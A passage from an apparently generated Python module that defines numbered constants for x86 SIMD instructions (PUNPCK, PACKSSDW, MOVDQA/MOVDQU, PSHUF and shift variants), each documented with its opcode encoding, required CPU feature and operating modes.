``VPUNPCKHDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 6A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKHDQ_YMM_K1Z_YMM_YMMM256B32: int = 1558
"""
``VPUNPCKHDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 6A /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKHDQ_ZMM_K1Z_ZMM_ZMMM512B32: int = 1559
"""
``VPUNPCKHDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 6A /r``
``AVX512F``
``16/32/64-bit``
"""
PACKSSDW_MM_MMM64: int = 1560
"""
``PACKSSDW mm1, mm2/m64``
``NP 0F 6B /r``
``MMX``
``16/32/64-bit``
"""
PACKSSDW_XMM_XMMM128: int = 1561
"""
``PACKSSDW xmm1, xmm2/m128``
``66 0F 6B /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPACKSSDW_XMM_XMM_XMMM128: int = 1562
"""
``VPACKSSDW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 6B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPACKSSDW_YMM_YMM_YMMM256: int = 1563
"""
``VPACKSSDW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 6B /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPACKSSDW_XMM_K1Z_XMM_XMMM128B32: int = 1564
"""
``VPACKSSDW xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 6B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKSSDW_YMM_K1Z_YMM_YMMM256B32: int = 1565
"""
``VPACKSSDW ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 6B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPACKSSDW_ZMM_K1Z_ZMM_ZMMM512B32: int = 1566
"""
``VPACKSSDW zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 6B /r``
``AVX512BW``
``16/32/64-bit``
"""
PUNPCKLQDQ_XMM_XMMM128: int = 1567
"""
``PUNPCKLQDQ xmm1, xmm2/m128``
``66 0F 6C /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKLQDQ_XMM_XMM_XMMM128: int = 1568
"""
``VPUNPCKLQDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 6C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKLQDQ_YMM_YMM_YMMM256: int = 1569
"""
``VPUNPCKLQDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 6C /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKLQDQ_XMM_K1Z_XMM_XMMM128B64: int = 1570
"""
``VPUNPCKLQDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 6C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKLQDQ_YMM_K1Z_YMM_YMMM256B64: int = 1571
"""
``VPUNPCKLQDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 6C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKLQDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 1572
"""
``VPUNPCKLQDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 6C /r``
``AVX512F``
``16/32/64-bit``
"""
PUNPCKHQDQ_XMM_XMMM128: int = 1573
"""
``PUNPCKHQDQ xmm1, xmm2/m128``
``66 0F 6D /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPUNPCKHQDQ_XMM_XMM_XMMM128: int = 1574
"""
``VPUNPCKHQDQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG 6D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPUNPCKHQDQ_YMM_YMM_YMMM256: int = 1575
"""
``VPUNPCKHQDQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG 6D /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPUNPCKHQDQ_XMM_K1Z_XMM_XMMM128B64: int = 1576
"""
``VPUNPCKHQDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 6D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKHQDQ_YMM_K1Z_YMM_YMMM256B64: int = 1577
"""
``VPUNPCKHQDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 6D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPUNPCKHQDQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 1578
"""
``VPUNPCKHQDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 6D /r``
``AVX512F``
``16/32/64-bit``
"""
MOVD_MM_RM32: int = 1579
"""
``MOVD mm, r/m32``
``NP 0F 6E /r``
``MMX``
``16/32/64-bit``
"""
MOVQ_MM_RM64: int = 1580
"""
``MOVQ mm, r/m64``
``NP o64 0F 6E /r``
``MMX``
``64-bit``
"""
MOVD_XMM_RM32: int = 1581
"""
``MOVD xmm, r/m32``
``66 0F 6E /r``
``SSE2``
``16/32/64-bit``
"""
MOVQ_XMM_RM64: int = 1582
"""
``MOVQ xmm, r/m64``
``66 o64 0F 6E /r``
``SSE2``
``64-bit``
"""
VEX_VMOVD_XMM_RM32: int = 1583
"""
``VMOVD xmm1, r/m32``
``VEX.128.66.0F.W0 6E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVQ_XMM_RM64: int = 1584
"""
``VMOVQ xmm1, r/m64``
``VEX.128.66.0F.W1 6E /r``
``AVX``
``64-bit``
"""
EVEX_VMOVD_XMM_RM32: int = 1585
"""
``VMOVD xmm1, r/m32``
``EVEX.128.66.0F.W0 6E /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVQ_XMM_RM64: int = 1586
"""
``VMOVQ xmm1, r/m64``
``EVEX.128.66.0F.W1 6E /r``
``AVX512F``
``64-bit``
"""
MOVQ_MM_MMM64: int = 1587
"""
``MOVQ mm, mm/m64``
``NP 0F 6F /r``
``MMX``
``16/32/64-bit``
"""
MOVDQA_XMM_XMMM128: int = 1588
"""
``MOVDQA xmm1, xmm2/m128``
``66 0F 6F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVDQA_XMM_XMMM128: int = 1589
"""
``VMOVDQA xmm1, xmm2/m128``
``VEX.128.66.0F.WIG 6F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVDQA_YMM_YMMM256: int = 1590
"""
``VMOVDQA ymm1, ymm2/m256``
``VEX.256.66.0F.WIG 6F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_XMM_K1Z_XMMM128: int = 1591
"""
``VMOVDQA32 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F.W0 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_YMM_K1Z_YMMM256: int = 1592
"""
``VMOVDQA32 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F.W0 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA32_ZMM_K1Z_ZMMM512: int = 1593
"""
``VMOVDQA32 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F.W0 6F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_XMM_K1Z_XMMM128: int = 1594
"""
``VMOVDQA64 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.66.0F.W1 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_YMM_K1Z_YMMM256: int = 1595
"""
``VMOVDQA64 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.66.0F.W1 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQA64_ZMM_K1Z_ZMMM512: int = 1596
"""
``VMOVDQA64 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.66.0F.W1 6F /r``
``AVX512F``
``16/32/64-bit``
"""
MOVDQU_XMM_XMMM128: int = 1597
"""
``MOVDQU xmm1, xmm2/m128``
``F3 0F 6F /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMOVDQU_XMM_XMMM128: int = 1598
"""
``VMOVDQU xmm1, xmm2/m128``
``VEX.128.F3.0F.WIG 6F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VMOVDQU_YMM_YMMM256: int = 1599
"""
``VMOVDQU ymm1, ymm2/m256``
``VEX.256.F3.0F.WIG 6F /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_XMM_K1Z_XMMM128: int = 1600
"""
``VMOVDQU32 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F3.0F.W0 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_YMM_K1Z_YMMM256: int = 1601
"""
``VMOVDQU32 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F3.0F.W0 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU32_ZMM_K1Z_ZMMM512: int = 1602
"""
``VMOVDQU32 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F3.0F.W0 6F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_XMM_K1Z_XMMM128: int = 1603
"""
``VMOVDQU64 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F3.0F.W1 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_YMM_K1Z_YMMM256: int = 1604
"""
``VMOVDQU64 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F3.0F.W1 6F /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU64_ZMM_K1Z_ZMMM512: int = 1605
"""
``VMOVDQU64 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F3.0F.W1 6F /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_XMM_K1Z_XMMM128: int = 1606
"""
``VMOVDQU8 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F2.0F.W0 6F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_YMM_K1Z_YMMM256: int = 1607
"""
``VMOVDQU8 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F2.0F.W0 6F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU8_ZMM_K1Z_ZMMM512: int = 1608
"""
``VMOVDQU8 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F2.0F.W0 6F /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_XMM_K1Z_XMMM128: int = 1609
"""
``VMOVDQU16 xmm1 {k1}{z}, xmm2/m128``
``EVEX.128.F2.0F.W1 6F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_YMM_K1Z_YMMM256: int = 1610
"""
``VMOVDQU16 ymm1 {k1}{z}, ymm2/m256``
``EVEX.256.F2.0F.W1 6F /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VMOVDQU16_ZMM_K1Z_ZMMM512: int = 1611
"""
``VMOVDQU16 zmm1 {k1}{z}, zmm2/m512``
``EVEX.512.F2.0F.W1 6F /r``
``AVX512BW``
``16/32/64-bit``
"""
PSHUFW_MM_MMM64_IMM8: int = 1612
"""
``PSHUFW mm1, mm2/m64, imm8``
``NP 0F 70 /r ib``
``SSE``
``16/32/64-bit``
"""
PSHUFD_XMM_XMMM128_IMM8: int = 1613
"""
``PSHUFD xmm1, xmm2/m128, imm8``
``66 0F 70 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSHUFD_XMM_XMMM128_IMM8: int = 1614
"""
``VPSHUFD xmm1, xmm2/m128, imm8``
``VEX.128.66.0F.WIG 70 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSHUFD_YMM_YMMM256_IMM8: int = 1615
"""
``VPSHUFD ymm1, ymm2/m256, imm8``
``VEX.256.66.0F.WIG 70 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSHUFD_XMM_K1Z_XMMM128B32_IMM8: int = 1616
"""
``VPSHUFD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 70 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSHUFD_YMM_K1Z_YMMM256B32_IMM8: int = 1617
"""
``VPSHUFD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 70 /r ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSHUFD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1618
"""
``VPSHUFD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 70 /r ib``
``AVX512F``
``16/32/64-bit``
"""
PSHUFHW_XMM_XMMM128_IMM8: int = 1619
"""
``PSHUFHW xmm1, xmm2/m128, imm8``
``F3 0F 70 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSHUFHW_XMM_XMMM128_IMM8: int = 1620
"""
``VPSHUFHW xmm1, xmm2/m128, imm8``
``VEX.128.F3.0F.WIG 70 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSHUFHW_YMM_YMMM256_IMM8: int = 1621
"""
``VPSHUFHW ymm1, ymm2/m256, imm8``
``VEX.256.F3.0F.WIG 70 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSHUFHW_XMM_K1Z_XMMM128_IMM8: int = 1622
"""
``VPSHUFHW xmm1 {k1}{z}, xmm2/m128, imm8``
``EVEX.128.F3.0F.WIG 70 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFHW_YMM_K1Z_YMMM256_IMM8: int = 1623
"""
``VPSHUFHW ymm1 {k1}{z}, ymm2/m256, imm8``
``EVEX.256.F3.0F.WIG 70 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFHW_ZMM_K1Z_ZMMM512_IMM8: int = 1624
"""
``VPSHUFHW zmm1 {k1}{z}, zmm2/m512, imm8``
``EVEX.512.F3.0F.WIG 70 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
PSHUFLW_XMM_XMMM128_IMM8: int = 1625
"""
``PSHUFLW xmm1, xmm2/m128, imm8``
``F2 0F 70 /r ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSHUFLW_XMM_XMMM128_IMM8: int = 1626
"""
``VPSHUFLW xmm1, xmm2/m128, imm8``
``VEX.128.F2.0F.WIG 70 /r ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSHUFLW_YMM_YMMM256_IMM8: int = 1627
"""
``VPSHUFLW ymm1, ymm2/m256, imm8``
``VEX.256.F2.0F.WIG 70 /r ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSHUFLW_XMM_K1Z_XMMM128_IMM8: int = 1628
"""
``VPSHUFLW xmm1 {k1}{z}, xmm2/m128, imm8``
``EVEX.128.F2.0F.WIG 70 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFLW_YMM_K1Z_YMMM256_IMM8: int = 1629
"""
``VPSHUFLW ymm1 {k1}{z}, ymm2/m256, imm8``
``EVEX.256.F2.0F.WIG 70 /r ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFLW_ZMM_K1Z_ZMMM512_IMM8: int = 1630
"""
``VPSHUFLW zmm1 {k1}{z}, zmm2/m512, imm8``
``EVEX.512.F2.0F.WIG 70 /r ib``
``AVX512BW``
``16/32/64-bit``
"""
PSRLW_MM_IMM8: int = 1631
"""
``PSRLW mm, imm8``
``NP 0F 71 /2 ib``
``MMX``
``16/32/64-bit``
"""
PSRLW_XMM_IMM8: int = 1632
"""
``PSRLW xmm1, imm8``
``66 0F 71 /2 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLW_XMM_XMM_IMM8: int = 1633
"""
``VPSRLW xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 71 /2 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLW_YMM_YMM_IMM8: int = 1634
"""
``VPSRLW ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 71 /2 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLW_XMM_K1Z_XMMM128_IMM8: int = 1635
"""
``VPSRLW xmm1 {k1}{z}, xmm2/m128, imm8``
``EVEX.128.66.0F.WIG 71 /2 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLW_YMM_K1Z_YMMM256_IMM8: int = 1636
"""
``VPSRLW ymm1 {k1}{z}, ymm2/m256, imm8``
``EVEX.256.66.0F.WIG 71 /2 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLW_ZMM_K1Z_ZMMM512_IMM8: int = 1637
"""
``VPSRLW zmm1 {k1}{z}, zmm2/m512, imm8``
``EVEX.512.66.0F.WIG 71 /2 ib``
``AVX512BW``
``16/32/64-bit``
"""
PSRAW_MM_IMM8: int = 1638
"""
``PSRAW mm, imm8``
``NP 0F 71 /4 ib``
``MMX``
``16/32/64-bit``
"""
PSRAW_XMM_IMM8: int = 1639
"""
``PSRAW xmm1, imm8``
``66 0F 71 /4 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRAW_XMM_XMM_IMM8: int = 1640
"""
``VPSRAW xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 71 /4 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRAW_YMM_YMM_IMM8: int = 1641
"""
``VPSRAW ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 71 /4 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRAW_XMM_K1Z_XMMM128_IMM8: int = 1642
"""
``VPSRAW xmm1 {k1}{z}, xmm2/m128, imm8``
``EVEX.128.66.0F.WIG 71 /4 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAW_YMM_K1Z_YMMM256_IMM8: int = 1643
"""
``VPSRAW ymm1 {k1}{z}, ymm2/m256, imm8``
``EVEX.256.66.0F.WIG 71 /4 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAW_ZMM_K1Z_ZMMM512_IMM8: int = 1644
"""
``VPSRAW zmm1 {k1}{z}, zmm2/m512, imm8``
``EVEX.512.66.0F.WIG 71 /4 ib``
``AVX512BW``
``16/32/64-bit``
"""
PSLLW_MM_IMM8: int = 1645
"""
``PSLLW mm1, imm8``
``NP 0F 71 /6 ib``
``MMX``
``16/32/64-bit``
"""
PSLLW_XMM_IMM8: int = 1646
"""
``PSLLW xmm1, imm8``
``66 0F 71 /6 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLW_XMM_XMM_IMM8: int = 1647
"""
``VPSLLW xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 71 /6 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLW_YMM_YMM_IMM8: int = 1648
"""
``VPSLLW ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 71 /6 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLW_XMM_K1Z_XMMM128_IMM8: int = 1649
"""
``VPSLLW xmm1 {k1}{z}, xmm2/m128, imm8``
``EVEX.128.66.0F.WIG 71 /6 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLW_YMM_K1Z_YMMM256_IMM8: int = 1650
"""
``VPSLLW ymm1 {k1}{z}, ymm2/m256, imm8``
``EVEX.256.66.0F.WIG 71 /6 ib``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLW_ZMM_K1Z_ZMMM512_IMM8: int = 1651
"""
``VPSLLW zmm1 {k1}{z}, zmm2/m512, imm8``
``EVEX.512.66.0F.WIG 71 /6 ib``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPRORD_XMM_K1Z_XMMM128B32_IMM8: int = 1652
"""
``VPRORD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 72 /0 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORD_YMM_K1Z_YMMM256B32_IMM8: int = 1653
"""
``VPRORD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 72 /0 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1654
"""
``VPRORD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 72 /0 ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORQ_XMM_K1Z_XMMM128B64_IMM8: int = 1655
"""
``VPRORQ xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 72 /0 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORQ_YMM_K1Z_YMMM256B64_IMM8: int = 1656
"""
``VPRORQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 72 /0 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPRORQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1657
"""
``VPRORQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 72 /0 ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLD_XMM_K1Z_XMMM128B32_IMM8: int = 1658
"""
``VPROLD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 72 /1 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLD_YMM_K1Z_YMMM256B32_IMM8: int = 1659
"""
``VPROLD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 72 /1 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1660
"""
``VPROLD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 72 /1 ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLQ_XMM_K1Z_XMMM128B64_IMM8: int = 1661
"""
``VPROLQ xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 72 /1 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLQ_YMM_K1Z_YMMM256B64_IMM8: int = 1662
"""
``VPROLQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 72 /1 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPROLQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1663
"""
``VPROLQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 72 /1 ib``
``AVX512F``
``16/32/64-bit``
"""
PSRLD_MM_IMM8: int = 1664
"""
``PSRLD mm, imm8``
``NP 0F 72 /2 ib``
``MMX``
``16/32/64-bit``
"""
PSRLD_XMM_IMM8: int = 1665
"""
``PSRLD xmm1, imm8``
``66 0F 72 /2 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLD_XMM_XMM_IMM8: int = 1666
"""
``VPSRLD xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 72 /2 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRLD_YMM_YMM_IMM8: int = 1667
"""
``VPSRLD ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 72 /2 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRLD_XMM_K1Z_XMMM128B32_IMM8: int = 1668
"""
``VPSRLD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 72 /2 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLD_YMM_K1Z_YMMM256B32_IMM8: int = 1669
"""
``VPSRLD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 72 /2 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1670
"""
``VPSRLD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 72 /2 ib``
``AVX512F``
``16/32/64-bit``
"""
PSRAD_MM_IMM8: int = 1671
"""
``PSRAD mm, imm8``
``NP 0F 72 /4 ib``
``MMX``
``16/32/64-bit``
"""
PSRAD_XMM_IMM8: int = 1672
"""
``PSRAD xmm1, imm8``
``66 0F 72 /4 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRAD_XMM_XMM_IMM8: int = 1673
"""
``VPSRAD xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 72 /4 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSRAD_YMM_YMM_IMM8: int = 1674
"""
``VPSRAD ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 72 /4 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSRAD_XMM_K1Z_XMMM128B32_IMM8: int = 1675
"""
``VPSRAD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 72 /4 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAD_YMM_K1Z_YMMM256B32_IMM8: int = 1676
"""
``VPSRAD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 72 /4 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1677
"""
``VPSRAD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 72 /4 ib``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_XMM_K1Z_XMMM128B64_IMM8: int = 1678
"""
``VPSRAQ xmm1 {k1}{z}, xmm2/m128/m64bcst, imm8``
``EVEX.128.66.0F.W1 72 /4 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_YMM_K1Z_YMMM256B64_IMM8: int = 1679
"""
``VPSRAQ ymm1 {k1}{z}, ymm2/m256/m64bcst, imm8``
``EVEX.256.66.0F.W1 72 /4 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSRAQ_ZMM_K1Z_ZMMM512B64_IMM8: int = 1680
"""
``VPSRAQ zmm1 {k1}{z}, zmm2/m512/m64bcst, imm8``
``EVEX.512.66.0F.W1 72 /4 ib``
``AVX512F``
``16/32/64-bit``
"""
PSLLD_MM_IMM8: int = 1681
"""
``PSLLD mm, imm8``
``NP 0F 72 /6 ib``
``MMX``
``16/32/64-bit``
"""
PSLLD_XMM_IMM8: int = 1682
"""
``PSLLD xmm1, imm8``
``66 0F 72 /6 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSLLD_XMM_XMM_IMM8: int = 1683
"""
``VPSLLD xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 72 /6 ib``
``AVX``
``16/32/64-bit``
"""
VEX_VPSLLD_YMM_YMM_IMM8: int = 1684
"""
``VPSLLD ymm1, ymm2, imm8``
``VEX.256.66.0F.WIG 72 /6 ib``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSLLD_XMM_K1Z_XMMM128B32_IMM8: int = 1685
"""
``VPSLLD xmm1 {k1}{z}, xmm2/m128/m32bcst, imm8``
``EVEX.128.66.0F.W0 72 /6 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLD_YMM_K1Z_YMMM256B32_IMM8: int = 1686
"""
``VPSLLD ymm1 {k1}{z}, ymm2/m256/m32bcst, imm8``
``EVEX.256.66.0F.W0 72 /6 ib``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLD_ZMM_K1Z_ZMMM512B32_IMM8: int = 1687
"""
``VPSLLD zmm1 {k1}{z}, zmm2/m512/m32bcst, imm8``
``EVEX.512.66.0F.W0 72 /6 ib``
``AVX512F``
``16/32/64-bit``
"""
PSRLQ_MM_IMM8: int = 1688
"""
``PSRLQ mm, imm8``
``NP 0F 73 /2 ib``
``MMX``
``16/32/64-bit``
"""
PSRLQ_XMM_IMM8: int = 1689
"""
``PSRLQ xmm1, imm8``
``66 0F 73 /2 ib``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSRLQ_XMM_XMM_IMM8: int = 1690
"""
``VPSRLQ xmm1, xmm2, imm8``
``VEX.128.66.0F.WIG 73 /2 ib``
``AVX``
